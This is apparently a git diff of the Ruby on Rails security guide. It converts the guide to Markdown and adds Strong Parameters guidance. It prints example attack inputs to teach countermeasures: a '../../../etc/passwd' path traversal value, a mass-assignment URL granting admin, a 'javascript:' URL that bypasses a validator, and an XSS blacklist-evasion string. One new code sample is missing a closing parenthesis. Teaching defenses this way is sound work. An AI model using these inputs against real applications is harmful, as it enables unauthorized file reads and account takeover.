+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
-<ruby>
+```ruby
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
@@ -300,104 +303,120 @@ def sanitize_filename(filename)
name.gsub! /[^\w\.\-]/, '_'
end
end
-</ruby>
+```
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
-The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-h4. Executable Code in File Uploads
+### Executable Code in File Uploads
WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
-_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-h4. File Downloads
+### File Downloads
NOTE: _Make sure users cannot download arbitrary files._
Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-<ruby>
+```ruby
send_file('/var/www/uploads/' + params[:filename])
-</ruby>
+```
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
-<ruby>
+```ruby
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'
-</ruby>
+```
Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-h3. Intranet and Admin Security
+Intranet and Admin Security
+---------------------------
Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
-Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
+Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-h4. Additional Precautions
+### Additional Precautions
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
+* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
-* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-h3. Mass Assignment
+Mass Assignment
+---------------
-WARNING: _Without any precautions +Model.new(params[:model]+) allows attackers to set any database column's value._
+WARNING: _Without any precautions `Model.new(params[:model]`) allows attackers to set
+any database column's value._
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
+The mass-assignment feature may become a problem, as it allows an attacker to set
+any model's attributes by manipulating the hash passed to a model's `new()` method:
-<ruby>
+```ruby
def signup
- params[:user] # => {:name => “ow3ned”, :admin => true}
+ params[:user] # => {:name=>"ow3ned", :admin=>true}
@user = User.new(params[:user])
end
-</ruby>
+```
-Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
+Mass-assignment saves you much work, because you don't have to set each value
+individually. Simply pass a hash to the `new` method, or `assign_attributes=`
+a hash value, to set the model's attributes to the values in the hash. The
+problem is that it is often used in conjunction with the parameters (params)
+hash available in the controller, which may be manipulated by an attacker.
+He may do so by changing the URL like this:
-<pre>
+```
http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-</pre>
+```
This will set the following parameters in the controller:
-<ruby>
-params[:user] # => {:name => “ow3ned”, :admin => true}
-</ruby>
+```ruby
+params[:user] # => {:name=>"ow3ned", :admin=>true}
+```
-So if you create a new user using mass-assignment, it may be too easy to become an administrator.
+So if you create a new user using mass-assignment, it may be too easy to become
+an administrator.
-Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
+Note that this vulnerability is not restricted to database columns. Any setter
+method, unless explicitly protected, is accessible via the `attributes=` method.
+In fact, this vulnerability is extended even further with the introduction of
+nested mass assignment (and nested object forms) in Rails 2.3. The
+`accepts_nested_attributes_for` declaration provides us the ability to extend
+mass assignment to model associations (`has_many`, `has_one`,
+`has_and_belongs_to_many`). For example:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :children
@@ -407,107 +426,115 @@ Note that this vulnerability is not restricted to database columns. Any setter m
class Child < ActiveRecord::Base
belongs_to :person
end
-</ruby>
-
-As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
-
-h4. Countermeasures
-
-To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
-
-<ruby>
-attr_protected :admin
-</ruby>
-
-+attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
+```
-<ruby>
-attr_protected :last_login, :as => :admin
-</ruby>
+As a result, the vulnerability is extended beyond simply exposing column
+assignment, allowing attackers the ability to create entirely new records
+in referenced tables (children in this case).
-A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+### Countermeasures
-<ruby>
-attr_accessible :name
-attr_accessible :name, :is_admin, :as => :admin
-</ruby>
+To avoid this, Rails provides an interface for protecting attributes from
+end-user assignment called Strong Parameters. This makes Action Controller
+parameters forbidden until they have been whitelisted, so you will have to
+make a conscious choice about which attributes to allow for mass assignment
+and thus prevent accidentally exposing that which shouldn’t be exposed.
-If you want to set a protected attribute, you will to have to assign it individually:
+NOTE. Before Strong Parameters arrived, mass-assignment protection was a
+model's task provided by Active Model. This has been extracted to the
+[ProtectedAttributes](https://github.com/rails/protected_attributes)
+gem. In order to use `attr_accessible` and `attr_protected` helpers in
+your models, you should add `protected_attributes` to your Gemfile.
-<ruby>
-params[:user] # => {:name => "ow3ned", :admin => true}
-@user = User.new(params[:user])
-@user.admin # => false # not mass-assigned
-@user.admin = true
-@user.admin # => true
-</ruby>
+Why we moved mass-assignment protection out of the model and into
+the controller? The whole point of the controller is to control the
+flow between user and application, including authentication, authorization,
+and, as part of that, access control.
-When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
+Strong Parameters provides two methods to the `params` hash to control
+access to your attributes: `require` and `permit`. The former is used
+to mark parameters as required and the latter limits which attributes
+should be allowed for mass updating using the slice pattern. For example:
-<ruby>
-@user = User.new
+```ruby
+def signup
+ params[:user]
+ # => {:name=>"ow3ned", :admin=>true}
+ permitted_params = params.require(:user).permit(:name)
+ # => {:name=>"ow3ned"}
-@user.assign_attributes({ :name => 'Josh', :is_admin => true })
-@user.name # => Josh
-@user.is_admin # => false
+ @user = User.new(permitted_params)
+end
+```
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
-@user.name # => Josh
-@user.is_admin # => true
+In the example above, `require` is checking whether a `user` key is present or not
+in the parameters, if it's not present, it'll raise an `ActionController::MissingParameter`
+exception, which will be caught by `ActionController::Base` and turned into a
+400 Bad Request reply. Then `permit` whitelists the attributes that should be
+allowed for mass assignment.
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
-@user.name # => Josh
-@user.is_admin # => true
-</ruby>
+A good pattern to encapsulate the permissible parameters is to use a private method
+since you'll be able to reuse the same permit list between different actions.
-In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
+```ruby
+def signup
+ @user = User.new(user_params)
+ # ...
+end
-<ruby>
-@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
-@user.name # => Sebastian
-@user.is_admin # => true
+def update
+ @user = User.find(params[:id]
+ @user.update_attributes!(user_params)
+ # ...
+end
-@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
-@user.name # => Sebastian
-@user.is_admin # => true
-</ruby>
+private
+ def user_params
+ params.require(:user).permit(:name)
+ end
+```
-A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
+Also, you can specialize this method with per-user checking of permissible
+attributes.
-<ruby>
-config.active_record.whitelist_attributes = true
-</ruby>
+```ruby
+def user_params
+ filters = [:name]
+ filters << :admin if current_user.try(:admin?)
-This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
+ params.require(:user).permit(*filters)
+end
+```
-h3. User Management
+User Management
+---------------
NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features.
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-<plain>
+```
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
-</plain>
+```
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-<ruby>
+```ruby
User.find_by_activation_code(params[:id])
-</ruby>
+```
If the parameter was nil, the resulting SQL query will be
-<sql>
+```sql
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-</sql>
+```
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-h4. Brute-Forcing Accounts
+### Brute-Forcing Accounts
NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
@@ -517,29 +544,29 @@ Because of this, most web applications will display a generic error message “u
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
-In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-h4. Account Hijacking
+### Account Hijacking
Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
-h5. Passwords
+#### Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
-h5. E-Mail
+#### E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
-h5. Other
+#### Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-h4. CAPTCHAs
+### CAPTCHAs
INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](http://ambethia.com/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
@@ -554,454 +581,455 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
* Randomize the field names
* Include more than one honeypot field of all types, including submission buttons
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
-h4. Logging
+### Logging
WARNING: _Tell Rails not to put passwords in the log files._
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
-<ruby>
+```ruby
config.filter_parameters << :password
-</ruby>
+```
-h4. Good Passwords
+### Good Passwords
INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-h4. Regular Expressions
+### Regular Expressions
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
-<ruby>
+```ruby
/^https?:\/\/[^\n]+$/i
-</ruby>
+```
-This may work fine in some languages. However, _(highlight)in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems:
+This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
-<plain>
+```
javascript:exploit_code();/*
http://hi.com
*/
-</plain>
+```
This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
-<ruby>
+```ruby
link_to "Homepage", @user.homepage
-</ruby>
+```
The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
-<ruby>
+```ruby
/\Ahttps?:\/\/[^\n]+\z/i
-</ruby>
+```
Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
-<ruby>
+```ruby
# content should include a line "Meanwhile" anywhere in the string
validates :content, :format => { :with => /^Meanwhile$/, :multiline => true }
-</ruby>
+```
-Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the *line* beginning and line end in Ruby, and not the beginning and end of a string.
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
-h4. Privilege Escalation
+### Privilege Escalation
WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-<ruby>
+```ruby
@project = Project.find(params[:id])
-</ruby>
+```
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
-<ruby>
+```ruby
@project = @current_user.projects.find(params[:id])
-</ruby>
+```
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
-Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-h3. Injection
+Injection
+---------
INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-h4. Whitelists versus Blacklists
+### Whitelists versus Blacklists
NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
* Don't try to correct user input by blacklists:
-** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-** But reject malformed input
+ * This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+ * But reject malformed input
